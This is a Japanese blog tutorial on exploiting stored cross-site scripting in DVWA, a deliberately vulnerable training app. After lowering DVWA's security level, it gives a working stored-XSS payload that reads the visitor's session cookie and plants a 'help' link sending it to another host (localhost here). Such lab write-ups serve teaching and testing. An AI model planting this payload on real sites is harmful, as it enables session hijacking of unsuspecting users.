0
0

More than 3 years have passed since last update.

DVWAでXSS(stored)

Last updated at Posted at 2020-02-26

前提

目標

  • xssでセッションを奪取する

手順概要

  • xssの可否チェック
  • cookieが取れるか確認する
  • 別のドメインへcookieを飛ばす

内容

xssとは

  • クロスサイトスクリプティングの略称
  • scriptを使って、サイト間で不正なデータを送り込むなど、小細工する
  • 今回の場合は投稿データにスクリプトを埋め込み。サイトに不正なリンクを設置する

前準備

  • DVWAにログインする
  • セキュリティレベルを下げる。
    • メニュー下にあるDVWA securityへアクセス
    • デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

image.png

  • XSS(stored)にアクセスする(左メニューにある)

image.png

XSS開始

  • 挙動を確認する
    • Nameにはあまり文字数がはいらない
    • MessageにHTMLを埋め込んでみる(下記参照)
    • どうやらhtmlをそのまま読み込んでいるみたい
#start
<h1>heading1</h1>
#end

image.png

  • スクリプトで悪いことする
    • 下記スクリプトを淡々と埋め込む。
    • cookie関係のスクリプトは(https://qiita.com/KPenguin/items/983348dace1527ef9963 )を参照。
    • 埋め込み終えると、ヘルプボタンを設置できた(以下画像)。
    • このメッセージは全ユーザーが見れるようにDBに登録されるので、表示したユーザー全員にヘルプボタンが表示されるようになる。
<!-- 変数設定-->
<script>d=document;k=d.cookie;c="click"</script>
<script>u="http://localhost?k="+k;</script>
<!-- アンカータグ作成-->
<script>a=d.createElement("a")</script>
<script>a.href=u;a.innerText="ヘルプ"</script>
<!-- 埋め込み先指定-->
<script>p=d.getElementsByTagName("table")</script>
<!-- 埋め込み-->
<script>p[0].appendChild(a)</script>

image.png

  • 純粋な気持ちで「ヘルプ」押してみる
    • 別のサイトに飛んでしまった。しかもcookie付きで

image.png

おわり

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0